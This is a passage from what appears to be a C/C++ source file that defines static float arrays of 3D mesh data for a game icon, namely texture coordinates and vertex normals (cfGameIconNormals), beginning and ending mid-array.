0.801622f,\n0.903521f,0.69699f,0.898872f,0.802484f,0.930084f,0.801622f,0.935938f,0.696604f,\n0.691637f,0.311325f,0.691946f,0.505792f,0.800809f,0.505816f,0.800123f,0.312259f,\n0.691946f,0.505792f,0.691637f,0.699784f,0.800123f,0.698917f,0.800809f,0.505816f,\n0.800809f,0.505816f,0.800123f,0.698917f,0.859669f,0.697857f,0.860777f,0.505846f,\n0.800123f,0.312259f,0.800809f,0.505816f,0.860777f,0.505846f,0.859669f,0.3134f,\n0.859669f,0.697857f,0.903521f,0.69699f,0.90507f,0.50587f,0.860777f,0.505846f,\n0.903521f,0.69699f,0.935938f,0.696604f,0.93789f,0.505881f,0.90507f,0.50587f,\n0.90507f,0.50587f,0.93789f,0.505881f,0.935938f,0.314748f,0.903521f,0.314333f,\n0.860777f,0.505846f,0.90507f,0.50587f,0.903521f,0.314333f,0.859669f,0.3134f,\n0.0f,0.269739f,0.010008f,0.312673f,0.017852f,0.203923f,0.010774f,0.202091f,\n0.017852f,0.203923f,0.010008f,0.312673f,0.039196f,0.314333f,0.046029f,0.207588f,\n0.030884f,0.14549f,0.017852f,0.203923f,0.046029f,0.207588f,0.056735f,0.152091f,\n0.010774f,0.202091f,0.017852f,0.203923f,0.030884f,0.14549f,0.021549f,0.134442f,\n0.039196f,0.314333f,0.064689f,0.314748f,0.070602f,0.208504f,0.046029f,0.207588f,\n0.046029f,0.207588f,0.070602f,0.208504f,0.07928f,0.153913f,0.056735f,0.152091f,\n0.030884f,0.14549f,0.056735f,0.152091f,0.070632f,0.114303f,0.049066f,0.103292f,\n0.056735f,0.152091f,0.07928f,0.153913f,0.089549f,0.117742f,0.070632f,0.114303f,\n0.070632f,0.114303f,0.089549f,0.117742f,0.098918f,0.098051f,0.089549f,0.088764f,\n0.070632f,0.114303f,0.089549f,0.088764f,0.073229f,0.072587f,0.049066f,0.103292f,\n0.021549f,0.134442f,0.030884f,0.14549f,0.049066f,0.103292f,0.042992f,0.099156f,\n0.042992f,0.099156f,0.049066f,0.103292f,0.073229f,0.072587f,0.064435f,0.06387f,\n0.935938f,0.314748f,0.961185f,0.314333f,0.954418f,0.207588f,0.930084f,0.208504f,\n0.954418f,0.207588f,0.961185f,0.314333f,0.990089f,0.312674f,0.982322f,0.203923f,\n0.943816f,0.152092f,0.954418f,0.207588f,0.982322f,0.203923f,0.969416f,0.145491f,\n0.930084f,0.208504f,0.954418f,0.207588f,0.943816f,0.152092f,0.92149f,0.153913f,\n0.990089f,0.312674f,1.0f,0.269739f,0.98933f,0.202091f,0.982322f,0.203923f,\n0.982322f,0.203923f,0.98933f,0.202091f,0.97866f,0.134442f,0.969416f,0.145491f,\n0.943816f,0.152092f,0.969416f,0.145491f,0.951411f,0.103292f,0.930054f,0.114304f,\n0.969416f,0.145491f,0.97866f,0.134442f,0.957425f,0.099156f,0.951411f,0.103292f,\n0.951411f,0.103292f,0.957425f,0.099156f,0.93619f,0.06387f,0.927482f,0.072587f,\n0.951411f,0.103292f,0.927482f,0.072587f,0.91132f,0.088764f,0.930054f,0.114304f,\n0.92149f,0.153913f,0.943816f,0.152092f,0.930054f,0.114304f,0.91132f,0.117742f,\n0.91132f,0.117742f,0.930054f,0.114304f,0.91132f,0.088764f,0.902043f,0.098051f,\n0.688243f,0.064123f,0.688654f,0.096571f,0.793487f,0.101224f,0.792572f,0.069983f,\n0.688654f,0.096571f,0.68958f,0.140684f,0.795546f,0.144012f,0.793487f,0.101224f,\n0.793487f,0.101224f,0.795546f,0.144012f,0.85211f,0.14825f,0.848273f,0.107596f,\n0.792572f,0.069983f,0.793487f,0.101224f,0.848273f,0.107596f,0.846453f,0.078585f,\n0.68958f,0.140684f,0.690711f,0.200945f,0.798063f,0.203007f,0.795546f,0.144012f,\n0.690711f,0.200945f,0.691637f,0.311325f,0.800123f,0.312259f,0.798063f,0.203007f,\n0.798063f,0.203007f,0.800123f,0.312259f,0.859669f,0.3134f,0.856345f,0.205526f,\n0.795546f,0.144012f,0.798063f,0.203007f,0.856345f,0.205526f,0.85211f,0.14825f,\n0.85211f,0.14825f,0.856345f,0.205526f,0.898872f,0.207588f,0.892507f,0.152092f,\n0.856345f,0.205526f,0.859669f,0.3134f,0.903521f,0.314333f,0.898872f,0.207588f,\n0.898872f,0.207588f,0.903521f,0.314333f,0.935938f,0.314748f,0.930084f,0.208504f,\n0.892507f,0.152092f,0.898872f,0.207588f,0.930084f,0.208504f,0.92149f,0.153913f,\n0.846453f,0.078585f,0.848273f,0.107596f,0.885805f,0.114304f,0.882371f,0.088764f,\n0.848273f,0.107596f,0.85211f,0.14825f,0.892507f,0.152092f,0.885805f,0.114304f,\n0.885805f,0.114304f,0.892507f,0.152092f,0.92149f,0.153913f,0.91132f,0.117742f,\n0.882371f,0.088764f,0.885805f,0.114304f,0.91132f,0.117742f,0.902043f,0.098051f,\n0.68958f,0.140684f,0.688654f,0.096571f,0.50098f,0.095021f,0.500976f,0.139575f,\n0.688654f,0.096571f,0.688243f,0.064123f,0.500982f,0.062169f,0.50098f,0.095021f,\n0.50098f,0.095021f,0.500982f,0.062169f,0.313652f,0.064123f,0.313236f,0.096571f,\n0.500976f,0.139575f,0.50098f,0.095021f,0.313236f,0.096571f,0.312299f,0.140684f,\n0.68958f,0.140684f,0.500976f,0.139575f,0.500971f,0.200258f,0.690711f,0.200945f,\n0.500976f,0.139575f,0.312299f,0.140684f,0.311154f,0.200945f,0.500971f,0.200258f,\n0.500971f,0.200258f,0.311154f,0.200945f,0.310217f,0.311325f,0.500967f,0.311013f,\n0.690711f,0.200945f,0.500971f,0.200258f,0.500967f,0.311013f,0.691637f,0.311325f,\n0.064689f,0.314748f,0.097425f,0.314333f,0.102119f,0.207588f,0.070602f,0.208504f,\n0.097425f,0.314333f,0.141621f,0.3134f,0.144978f,0.205526f,0.102119f,0.207588f,\n0.102119f,0.207588f,0.144978f,0.205526f,0.149254f,0.14825f,0.108547f,0.152092f,\n0.070602f,0.208504f,0.102119f,0.207588f,0.108547f,0.152092f,0.07928f,0.153913f,\n0.141621f,0.3134f,0.201493f,0.312259f,0.203573f,0.203007f,0.144978f,0.205526f,\n0.201493f,0.312259f,0.310217f,0.311325f,0.311154f,0.200945f,0.203573f,0.203007f,\n0.203573f,0.203007f,0.311154f,0.200945f,0.312299f,0.140684f,0.206115f,0.144012f,\n0.144978f,0.205526f,0.203573f,0.203007f,0.206115f,0.144012f,0.149254f,0.14825f,\n0.149254f,0.14825f,0.206115f,0.144012f,0.208194f,0.101224f,0.153129f,0.107596f,\n0.206115f,0.144012f,0.312299f,0.140684f,0.313236f,0.096571f,0.208194f,0.101224f,\n0.208194f,0.101224f,0.313236f,0.096571f,0.313652f,0.064123f,0.209119f,0.069983f,\n0.153129f,0.107596f,0.208194f,0.101224f,0.209119f,0.069983f,0.154967f,0.078585f,\n0.07928f,0.153913f,0.108547f,0.152092f,0.115314f,0.114304f,0.089549f,0.117742f,\n0.108547f,0.152092f,0.149254f,0.14825f,0.153129f,0.107596f,0.115314f,0.114304f,\n0.115314f,0.114304f,0.153129f,0.107596f,0.154967f,0.078585f,0.118783f,0.088764f,\n0.089549f,0.117742f,0.115314f,0.114304f,0.118783f,0.088764f,0.098918f,0.098051f,\n};\n\nstatic const float cfGameIconNormals[] = {\n-0.210457f,-0.226211f,0.951071f,-0.137777f,-0.231234f,0.963093f,-0.113627f,-0.120055f,0.986243f,-0.216181f,-0.146015f,0.965373f,\n-0.137777f,-0.231234f,0.963093f,-0.083714f,-0.234126f,0.968595f,-0.06603f,-0.119508f,0.990635f,-0.113627f,-0.120055f,0.986243f,\n-0.113627f,-0.120055f,0.986243f,-0.06603f,-0.119508f,0.990635f,-0.062379f,-0.064577f,0.995961f,-0.113032f,-0.068284f,0.991242f,\n-0.216181f,-0.146015f,0.965373f,-0.113627f,-0.120055f,0.986243f,-0.113032f,-0.068284f,0.991242f,-0.219508f,-0.086774f,0.971744f,\n-0.083714f,-0.234126f,0.968595f,-0.036722f,-0.235389f,0.971207f,-0.028482f,-0.119193f,0.992463f,-0.06603f,-0.119508f,0.990635f,\n-0.036722f,-0.235389f,0.971207f,-0.010823f,-0.235649f,0.971778f,-0.008321f,-0.119124f,0.992845f,-0.028482f,-0.119193f,0.992463f,\n-0.028482f,-0.119193f,0.992463f,-0.008321f,-0.119124f,0.992845f,-0.007465f,-0.063717f,0.99794f,-0.026099f,-0.06375f,0.997625f,\n-0.06603f,-0.119508f,0.990635f,-0.028482f,-0.119193f,0.992463f,-0.026099f,-0.06375f,0.997625f,-0.062379f,-0.064577f,0.995961f,\n-0.062379f,-0.064577f,0.995961f,-0.026099f,-0.06375f,0.997625f,-0.025391f,-0.025563f,0.999351f,-0.061589f,-0.026301f,0.997755f,\n-0.026099f,-0.06375f,0.997625f,-0.007465f,-0.063717f,0.99794f,-0.007172f,-0.02556f,0.999648f,-0.025391f,-0.025563f,0.999351f,\n-0.025391f,-0.025563f,0.999351f,-0.007172f,-0.02556f,0.999648f,-0.007161f,-0.00707f,0.999949f,-0.025395f,-0.007088f,0.999652f,\n-0.061589f,-0.026301f,0.997755f,-0.025391f,-0.025563f,0.999351f,-0.025395f,-0.007088f,0.999652f,-0.061548f,-0.00739f,0.998077f,\n-0.219508f,-0.086774f,0.971744f,-0.113032f,-0.068284f,0.991242f,-0.112752f,-0.028685f,0.993209f,-0.22077f,-0.037047f,0.974622f,\n-0.113032f,-0.068284f,0.991242f,-0.062379f,-0.064577f,0.995961f,-0.061589f,-0.026301f,0.997755f,-0.112752f,-0.028685f,0.993209f,\n-0.112752f,-0.028685f,0.993209f,-0.061589f,-0.026301f,0.997755f,-0.061548f,-0.00739f,0.998077f,-0.112673f,-0.008234f,0.993598f,\n-0.22077f,-0.037047f,0.974622f,-0.112752f,-0.028685f,0.993209f,-0.112673f,-0.008234f,0.993598f,-0.221f,-0.010721f,0.975215f,\n-0.007161f,-0.00707f,0.999949f,-0.007172f,-0.02556f,0.999648f,0.0f,-0.025624f,0.999672f,0.0f,-0.007089f,0.999975f,\n-0.007172f,-0.02556f,0.999648f,-0.007465f,-0.063717f,0.99794f,0.0f,-0.06378f,0.997964f,0.0f,-0.025624f,0.999672f,\n0.0f,-0.025624f,0.999672f,0.0f,-0.06378f,0.997964f,0.007472f,-0.063716f,0.99794f,0.007179f,-0.025559f,0.999648f,\n0.0f,-0.007089f,0.999975f,0.0f,-0.025624f,0.999672f,0.007179f,-0.025559f,0.999648f,0.007169f,-0.00707f,0.999949f,\n-0.007465f,-0.063717f,0.99794f,-0.008321f,-0.119124f,0.992845f,0.0f,-0.119133f,0.992878f,0.0f,-0.06378f,0.997964f,\n-0.008321f,-0.119124f,0.992845f,-0.010823f,-0.235649f,0.971778f,0.0f,-0.235564f,0.971859f,0.0f,-0.119133f,0.992878f,\n0.0f,-0.119133f,0.992878f,0.0f,-0.235564f,0.971859f,0.010835f,-0.23565f,0.971778f,0.008329f,-0.119124f,0.992845f,\n0.0f,-0.06378f,0.997964f,0.0f,-0.119133f,0.992878f,0.008329f,-0.119124f,0.992845f,0.007472f,-0.063716f,0.99794f,\n-0.007161f,-0.00707f,0.999949f,0.0f,-0.007089f,0.999975f,0.0f,0.0f,1.0f,-0.007181f,0.0f,0.999974f,\n0.0f,-0.007089f,0.999975f,0.007169f,-0.00707f,0.999949f,0.007189f,0.0f,0.999974f,0.0f,0.0f,1.0f,\n0.0f,0.0f,1.0f,0.007189f,0.0f,0.999974f,0.00717f,0.007027f,0.99995f,0.0f,0.007045f,0.999975f,\n-0.007181f,0.0f,0.999974f,0.0f,0.0f,1.0f,0.0f,0.007045f,0.999975f,-0.007163f,0.007027f,0.99995f,\n-0.061553f,0.007347f,0.998077f,-0.112675f,0.008187f,0.993598f,-0.112665f,0.0f,0.993633f,-0.061598f,0.0f,0.998101f,\n-0.112675f,0.008187f,0.993598f,-0.220997f,0.010655f,0.975216f,-0.220914f,-1.0E-6f,0.975293f,-0.112665f,0.0f,0.993633f,\n-0.112665f,0.0f,0.993633f,-0.220914f,-1.0E-6f,0.975293f,-0.221f,-0.010721f,0.975215f,-0.112673f,-0.008234f,0.993598f,\n-0.061598f,0.0f,0.998101f,-0.112665f,0.0f,0.993633f,-0.112673f,-0.008234f,0.993598f,-0.061548f,-0.00739f,0.998077f,\n-0.061553f,0.007347f,0.998077f,-0.061598f,0.0f,0.998101f,-0.025456f,0.0f,0.999676f,-0.025398f,0.007046f,0.999653f,\n-0.061598f,0.0f,0.998101f,-0.061548f,-0.00739f,0.998077f,-0.025395f,-0.007088f,0.999652f,-0.025456f,0.0f,0.999676f,\n-0.025456f,0.0f,0.999676f,-0.025395f,-0.007088f,0.999652f,-0.007161f,-0.00707f,0.999949f,-0.007181f,0.0f,0.999974f,\n-0.025398f,0.007046f,0.999653f,-0.025456f,0.0f,0.999676f,-0.007181f,0.0f,0.999974f,-0.007163f,0.007027f,0.99995f,\n-0.211482f,0.213152f,0.953856f,-0.138447f,0.218126f,0.966051f,-0.198978f,0.347214f,0.916433f,-0.296456f,0.298724f,0.907126f,\n-0.138447f,0.218126f,0.966051f,-0.084089f,0.221062f,0.971628f,-0.117212f,0.361162f,0.925107f,-0.198978f,0.347214f,0.916433f,\n-0.198978f,0.347214f,0.916433f,-0.117212f,0.361162f,0.925107f,-0.168084f,0.541107f,0.823985f,-0.282777f,0.494303f,0.822011f,\n-0.296456f,0.298724f,0.907126f,-0.198978f,0.347214f,0.916433f,-0.282777f,0.494303f,0.822011f,-0.402197f,0.405178f,0.821017f,\n-0.084089f,0.221062f,0.971628f,-0.036885f,0.222305f,0.974279f,-0.050723f,0.367918f,0.928474f,-0.117212f,0.361162f,0.925107f,\n-0.036885f,0.222305f,0.974279f,-0.010867f,0.22256f,0.974858f,-0.014805f,0.369601f,0.929073f,-0.050723f,0.367918f,0.928474f,\n-0.050723f,0.367918f,0.928474f,-0.014805f,0.369601f,0.929073f,-0.020782f,0.568602f,0.822351f,-0.072149f,0.563165f,0.823189f,\n-0.117212f,0.361162f,0.925107f,-0.050723f,0.367918f,0.928474f,-0.072149f,0.563165f,0.823189f,-0.168084f,0.541107f,0.823985f,\n-0.072149f,0.563165f,0.823189f,-0.020782f,0.568602f,0.822351f,-0.025372f,0.696348f,0.717256f,-0.088478f,0.684053f,0.724047f,\n-0.168084f,0.541107f,0.823985f,-0.072149f,0.563165f,0.823189f,-0.088478f,0.684053f,0.724047f,-0.20294f,0.64707f,0.734926f,\n-0.282777f,0.494303f,0.822011f,-0.168084f,0.541107f,0.823985f,-0.20294f,0.64707f,0.734926f,-0.333245f,0.577074f,0.745609f,\n-0.402197f,0.405178f,0.821017f,-0.282777f,0.494303f,0.822011f,-0.333245f,0.577074f,0.745609f,-0.466013f,0.469045f,0.75022f,\n-0.025372f,0.696348f,0.717256f,-0.020782f,0.568602f,0.822351f,0.0f,0.568694f,0.822549f,-2.0E-6f,0.698486f,0.715623f,\n0.0f,0.568694f,0.822549f,-0.020782f,0.568602f,0.822351f,-0.014805f,0.369601f,0.929073f,0.0f,0.369504f,0.929229f,\n0.020804f,0.568602f,0.82235f,0.0f,0.568694f,0.822549f,0.0f,0.369504f,0.929229f,0.01482f,0.369601f,0.929072f,\n-2.0E-6f,0.698486f,0.715623f,0.0f,0.568694f,0.822549f,0.020804f,0.568602f,0.82235f,0.025388f,0.696365f,0.717239f,\n-0.014805f,0.369601f,0.929073f,-0.010867f,0.22256f,0.974858f,0.0f,0.222477f,0.974938f,0.0f,0.369504f,0.929229f,\n0.0f,0.369504f,0.929229f,0.0f,0.222477f,0.974938f,0.010878f,0.222561f,0.974858f,0.01482f,0.369601f,0.929072f,\n0.010835f,-0.23565f,0.971778f,0.0f,-0.235564f,0.971859f,0.0f,-0.389089f,0.9212f,0.014687f,-0.38921f,0.921032f,\n0.0f,-0.235564f,0.971859f,-0.010823f,-0.235649f,0.971778f,-0.014671f,-0.38921f,0.921032f,0.0f,-0.389089f,0.9212f,\n0.0f,-0.389089f,0.9212f,-0.014671f,-0.38921f,0.921032f,-0.020367f,-0.591835f,0.805802f,0.0f,-0.591896f,0.806014f,\n0.014687f,-0.38921f,0.921032f,0.0f,-0.389089f,0.9212f,0.0f,-0.591896f,0.806014f,0.020387f,-0.591837f,0.8058f,\n-0.020367f,-0.591835f,0.805802f,-0.024675f,-0.717705f,0.69591f,-2.0E-6f,-0.719788f,0.694194f,0.0f,-0.591896f,0.806014f,\n0.0f,-0.591896f,0.806014f,-2.0E-6f,-0.719788f,0.694194f,0.02469f,-0.717725f,0.695889f,0.020387f,-0.591837f,0.8058f,\n-0.46128f,-0.48965f,0.739908f,-0.32814f,-0.599132f,0.730319f,-0.27855f,-0.517113f,0.809323f,-0.397988f,-0.425903f,0.812534f,\n-0.32814f,-0.599132f,0.730319f,-0.198659f,-0.669215f,0.716021f,-0.165045f,-0.564346f,0.808872f,-0.27855f,-0.517113f,0.809323f,\n-0.27855f,-0.517113f,0.809323f,-0.165045f,-0.564346f,0.808872f,-0.116165f,-0.380579f,0.917423f,-0.197289f,-0.366449f,0.909281f,\n-0.397988f,-0.425903f,0.812534f,-0.27855f,-0.517113f,0.809323f,-0.197289f,-0.366449f,0.909281f,-0.294472f,-0.315809f,0.901971f,\n-0.198659f,-0.669215f,0.716021f,-0.086339f,-0.705672f,0.703258f,-0.070739f,-0.586438f,0.806899f,-0.165045f,-0.564346f,0.808872f,\n-0.086339f,-0.705672f,0.703258f,-0.024675f,-0.717705f,0.69591f,-0.020367f,-0.591835f,0.805802f,-0.070739f,-0.586438f,0.806899f,\n-0.070739f,-0.586438f,0.806899f,-0.020367f,-0.591835f,0.805802f,-0.014671f,-0.38921f,0.921032f,-0.050259f,-0.387507f,0.920496f,\n-0.165045f,-0.564346f,0.808872f,-0.070739f,-0.586438f,0.806899f,-0.050259f,-0.387507f,0.920496f,-0.116165f,-0.380579f,0.917423f,\n-0.050259f,-0.387507f,0.920496f,-0.014671f,-0.38921f,0.921032f,-0.010823f,-0.235649f,0.971778f,-0.036722f,-0.235389f,0.971207f,\n-0.116165f,-0.380579f,0.917423f,-0.050259f,-0.387507f,0.920496f,-0.036722f,-0.235389f,0.971207f,-0.083714f,-0.234126f,0.968595f,\n-0.197289f,-0.366449f,0.909281f,-0.116165f,-0.380579f,0.917423f,-0.083714f,-0.234126f,0.968595f,-0.137777f,-0.231234f,0.963093f,\n-0.294472f,-0.315809f,0.901971f,-0.197289f,-0.366449f,0.909281f,-0.137777f,-0.231234f,0.963093f,-0.210457f,-0.226211f,0.951071f,\n0.212501f,-0.226048f,0.950655f,0.297154f,-0.315494f,0.901201f,0.347306f,-0.209845f,0.913971f,0.218237f,-0.145906f,0.964927f,\n0.347306f,-0.209845f,0.913971f,0.297154f,-0.315494f,0.901201f,0.401261f,-0.425239f,0.811271f,0.493682f,-0.297695f,0.817102f,\n0.362206f,-0.121013f,0.924209f,0.347306f,-0.209845f,0.913971f,0.493682f,-0.297695f,0.817102f,0.542487f,-0.173678f,0.821915f,\n0.218237f,-0.145906f,0.964927f,0.347306f,-0.209845f,0.913971f,0.362206f,-0.121013f,0.924209f,0.221558f,-0.086713f,0.971284f,\n0.401261f,-0.425239f,0.811271f,0.464547f,-0.488911f,0.738351f,0.57643f,-0.348399f,0.739153f,0.493682f,-0.297695f,0.817102f,\n0.493682f,-0.297695f,0.817102f,0.57643f,-0.348399f,0.739153f,0.648687f,-0.208869f,0.731832f,0.542487f,-0.173678f,0.821915f,\n0.362206f,-0.121013f,0.924209f,0.542487f,-0.173678f,0.821915f,0.564441f,-0.072486f,0.822285f,0.368823f,-0.050932f,0.928103f,\n0.542487f,-0.173678f,0.821915f,0.648687f,-0.208869f,0.731832f,0.685633f,-0.08861f,0.722534f,0.564441f,-0.072486f,0.822285f,\n0.564441f,-0.072486f,0.822285f,0.685633f,-0.08861f,0.722534f,0.697362f,-0.024953f,0.716285f,0.569527f,-0.020487f,0.821717f,\n0.564441f,-0.072486f,0.822285f,0.569527f,-0.020487f,0.821717f,0.370348f,-0.014597f,0.928778f,0.368823f,-0.050932f,0.928103f,\n0.221558f,-0.086713f,0.971284f,0.362206f,-0.121013f,0.924209f,0.368823f,-0.050932f,0.928103f,0.222823f,-0.037022f,0.974156f,\n0.222823f,-0.037022f,0.974156f,0.368823f,-0.050932f,0.928103f,0.370348f,-0.014597f,0.928778f,0.223053f,-0.010715f,0.974747f,\n0.223053f,-0.010715f,0.974747f,0.370348f,-0.014597f,0.928778f,0.37024f,-1.0E-6f,0.928936f,0.222967f,-1.0E-6f,0.974826f,\n0.37024f,-1.0E-6f,0.928936f,0.370348f,-0.014597f,0.928778f,0.569527f,-0.020487f,0.821717f,0.569586f,-1.0E-6f,0.821932f,\n0.37035f,0.014508f,0.928779f,0.37024f,-1.0E-6f,0.928936f,0.569586f,-1.0E-6f,0.821932f,0.569522f,0.020364f,0.821724f,\n0.222967f,-1.0E-6f,0.974826f,0.37024f,-1.0E-6f,0.928936f,0.37035f,0.014508f,0.928779f,0.223051f,0.010649f,0.974749f,\n0.569527f,-0.020487f,0.821717f,0.697362f,-0.024953f,0.716285f,0.699353f,1.1E-5f,0.714776f,0.569586f,-1.0E-6f,0.821932f,\n0.569586f,-1.0E-6f,0.821932f,0.699353f,1.1E-5f,0.714776f,0.697248f,0.024864f,0.716398f,0.569522f,0.020364f,0.821724f,\n-0.46128f,-0.48965f,0.739908f,-0.397988f,-0.425903f,0.812534f,-0.490028f,-0.298377f,0.819051f,-0.572885f,-0.349196f,0.741529f,\n-0.490028f,-0.298377f,0.819051f,-0.397988f,-0.425903f,0.812534f,-0.294472f,-0.315809f,0.901971f,-0.344264f,-0.210118f,0.915059f,\n-0.538747f,-0.174169f,0.824268f,-0.490028f,-0.298377f,0.819051f,-0.344264f,-0.210118f,0.915059f,-0.359131f,-0.12118f,0.925386f,\n-0.572885f,-0.349196f,0.741529f,-0.490028f,-0.298377f,0.819051f,-0.538747f,-0.174169f,0.824268f,-0.645088f,-0.209547f,0.734814f,\n-0.294472f,-0.315809f,0.901971f,-0.210457f,-0.226211f,0.951071f,-0.216181f,-0.146015f,0.965373f,-0.344264f,-0.210118f,0.915059f,\n-0.344264f,-0.210118f,0.915059f,-0.216181f,-0.146015f,0.965373f,-0.219508f,-0.086774f,0.971744f,-0.359131f,-0.12118f,0.925386f,\n-0.538747f,-0.174169f,0.824268f,-0.359131f,-0.12118f,0.925386f,-0.365721f,-0.051004f,0.929326f,-0.560687f,-0.072708f,0.82483f,\n-0.359131f,-0.12118f,0.925386f,-0.219508f,-0.086774f,0.971744f,-0.22077f,-0.037047f,0.974622f,-0.365721f,-0.051004f,0.929326f,\n-0.365721f,-0.051004f,0.929326f,-0.22077f,-0.037047f,0.974622f,-0.221f,-0.010721f,0.975215f,-0.367244f,-0.014617f,0.93001f,\n-0.365721f,-0.051004f,0.929326f,-0.367244f,-0.014617f,0.93001f,-0.565774f,-0.020551f,0.824304f,-0.560687f,-0.072708f,0.82483f,\n-0.645088f,-0.209547f,0.734814f,-0.538747f,-0.174169f,0.824268f,-0.560687f,-0.072708f,0.82483f,-0.682094f,-0.088945f,0.725836f,\n-0.682094f,-0.088945f,0.725836f,-0.560687f,-0.072708f,0.82483f,-0.565774f,-0.020551f,0.824304f,-0.69385f,-0.025062f,0.719683f,\n-0.693736f,0.024972f,0.719796f,-0.695847f,1.1E-5f,0.71819f,-0.565837f,-1.0E-6f,0.824517f,-0.565768f,0.020427f,0.824311f,\n-0.695847f,1.1E-5f,0.71819f,-0.69385f,-0.025062f,0.719683f,-0.565774f,-0.020551f,0.824304f,-0.565837f,-1.0E-6f,0.824517f,\n-0.565837f,-1.0E-6f,0.824517f,-0.565774f,-0.020551f,0.824304f,-0.367244f,-0.014617f,0.93001f,-0.36714f,-1.0E-6f,0.930166f,\n-0.565768f,0.020427f,0.824311f,-0.565837f,-1.0E-6f,0.824517f,-0.36714f,-1.0E-6f,0.930166f,-0.367245f,0.014528f,0.930011f,\n-0.367244f,-0.014617f,0.93001f,-0.221f,-0.010721f,0.975215f,-0.220914f,-1.0E-6f,0.975293f,-0.36714f,-1.0E-6f,0.930166f,\n-0.36714f,-1.0E-6f,0.930166f,-0.220914f,-1.0E-6f,0.975293f,-0.220997f,0.010655f,0.975216f,-0.367245f,0.014528f,0.930011f,\n0.010878f,0.222561f,0.974858f,0.037001f,0.222307f,0.974274f,0.050884f,0.367932f,0.92846f,0.01482f,0.369601f,0.929072f,\n0.037001f,0.222307f,0.974274f,0.084603f,0.221056f,0.971585f,0.117939f,0.361173f,0.92501f,0.050884f,0.367932f,0.92846f,\n0.050884f,0.367932f,0.92846f,0.117939f,0.361173f,0.92501f,0.169134f,0.541105f,0.823771f,0.072381f,0.563194f,0.823149f,\n0.020804f,0.568602f,0.82235f,0.01482f,0.369601f,0.929072f,0.050884f,0.367932f,0.92846f,0.072381f,0.563194f,0.823149f,\n0.084603f,0.221056f,0.971585f,0.139597f,0.218066f,0.965898f,0.200629f,0.347092f,0.91612f,0.117939f,0.361173f,0.92501f,\n0.139597f,0.218066f,0.965898f,0.213531f,0.212993f,0.953435f,0.299149f,0.298419f,0.906342f,0.200629f,0.347092f,0.91612f,\n0.200629f,0.347092f,0.91612f,0.299149f,0.298419f,0.906342f,0.405489f,0.404531f,0.819716f,0.285031f,0.494036f,0.821393f,\n0.117939f,0.361173f,0.92501f,0.200629f,0.347092f,0.91612f,0.285031f,0.494036f,0.821393f,0.169134f,0.541105f,0.823771f,\n0.285031f,0.494036f,0.821393f,0.405489f,0.404531f,0.819716f,0.4693f,0.468325f,0.748619f,0.335556f,0.576804f,0.744781f,\n0.169134f,0.541105f,0.823771f,0.285031f,0.494036f,0.821393f,0.335556f,0.576804f,0.744781f,0.204073f,0.64709f,0.734595f,\n0.072381f,0.563194f,0.823149f,0.169134f,0.541105f,0.823771f,0.204073f,0.64709f,0.734595f,0.088715f,0.684119f,0.723955f,\n0.020804f,0.568602f,0.82235f,0.072381f,0.563194f,0.823149f,0.088715f,0.684119f,0.723955f,0.025388f,0.696365f,0.717239f,\n0.010835f,-0.23565f,0.971778f,0.014687f,-0.38921f,0.921032f,0.050418f,-0.38752f,0.920482f,0.036837f,-0.235391f,0.971203f,\n0.050418f,-0.38752f,0.920482f,0.014687f,-0.38921f,0.921032f,0.020387f,-0.591837f,0.8058f,0.070967f,-0.586467f,0.806858f,\n0.116885f,-0.380591f,0.917327f,0.050418f,-0.38752f,0.920482f,0.070967f,-0.586467f,0.806858f,0.166076f,-0.564345f,0.808662f,\n0.036837f,-0.235391f,0.971203f,0.050418f,-0.38752f,0.920482f,0.116885f,-0.380591f,0.917327f,0.084225f,-0.234121f,0.968552f,\n0.020387f,-0.591837f,0.8058f,0.02469f,-0.717725f,0.695889f,0.086571f,-0.705739f,0.703163f,0.070967f,-0.586467f,0.806858f,\n0.070967f,-0.586467f,0.806858f,0.086571f,-0.705739f,0.703163f,0.199773f,-0.669232f,0.715695f,0.166076f,-0.564345f,0.808662f,\n0.116885f,-0.380591f,0.917327f,0.166076f,-0.564345f,0.808662f,0.280776f,-0.516844f,0.808725f,0.198928f,-0.366325f,0.908974f,\n0.166076f,-0.564345f,0.808662f,0.199773f,-0.669232f,0.715695f,0.33043f,-0.598851f,0.729516f,0.280776f,-0.516844f,0.808725f,\n0.280776f,-0.516844f,0.808725f,0.33043f,-0.598851f,0.729516f,0.464547f,-0.488911f,0.738351f,0.401261f,-0.425239f,0.811271f,\n0.280776f,-0.516844f,0.808725f,0.401261f,-0.425239f,0.811271f,0.297154f,-0.315494f,0.901201f,0.198928f,-0.366325f,0.908974f,\n0.084225f,-0.234121f,0.968552f,0.116885f,-0.380591f,0.917327f,0.198928f,-0.366325f,0.908974f,0.138923f,-0.231173f,0.962943f,\n0.138923f,-0.231173f,0.962943f,0.198928f,-0.366325f,0.908974f,0.297154f,-0.315494f,0.901201f,0.212501f,-0.226048f,0.950655f,\n0.007169f,-0.00707f,0.999949f,0.007179f,-0.025559f,0.999648f,0.025473f,-0.02556f,0.999349f,0.025479f,-0.007087f,0.99965f,\n0.007179f,-0.025559f,0.999648f,0.007472f,-0.063716f,0.99794f,0.02618f,-0.063744f,0.997623f,0.025473f,-0.02556f,0.999349f,\n0.025473f,-0.02556f,0.999349f,0.02618f,-0.063744f,0.997623f,0.062764f,-0.064559f,0.995938f,0.061979f,-0.026292f,0.997731f,\n0.025479f,-0.007087f,0.99965f,0.025473f,-0.02556f,0.999349f,0.061979f,-0.026292f,0.997731f,0.061944f,-0.007387f,0.998052f,\n0.007472f,-0.063716f,0.99794f,0.008329f,-0.119124f,0.992845f,0.028568f,-0.119188f,0.992461f,0.02618f,-0.063744f,0.997623f,\n0.008329f,-0.119124f,0.992845f,0.010835f,-0.23565f,0.971778f,0.036837f,-0.235391f,0.971203f,0.028568f,-0.119188f,0.992461f,\n0.028568f,-0.119188f,0.992461f,0.036837f,-0.235391f,0.971203f,0.084225f,-0.234121f,0.968552f,0.066426f,-0.119489f,0.990611f,\n0.02618f,-0.063744f,0.997623f,0.028568f,-0.119188f,0.992461f,0.066426f,-0.119489f,0.990611f,0.062764f,-0.064559f,0.995938f,\n0.062764f,-0.064559f,0.995938f,0.066426f,-0.119489f,0.990611f,0.114563f,-0.120018f,0.98614f,0.113981f,-0.068259f,0.991135f,\n0.066426f,-0.119489f,0.990611f,0.084225f,-0.234121f,0.968552f,0.138923f,-0.231173f,0.962943f,0.114563f,-0.120018f,0.98614f,\n0.114563f,-0.120018f,0.98614f,0.138923f,-0.231173f,0.962943f,0.212501f,-0.226048f,0.950655f,0.218237f,-0.145906f,0.964927f,\n0.113981f,-0.068259f,0.991135f,0.114563f,-0.120018f,0.98614f,0.218237f,-0.145906f,0.964927f,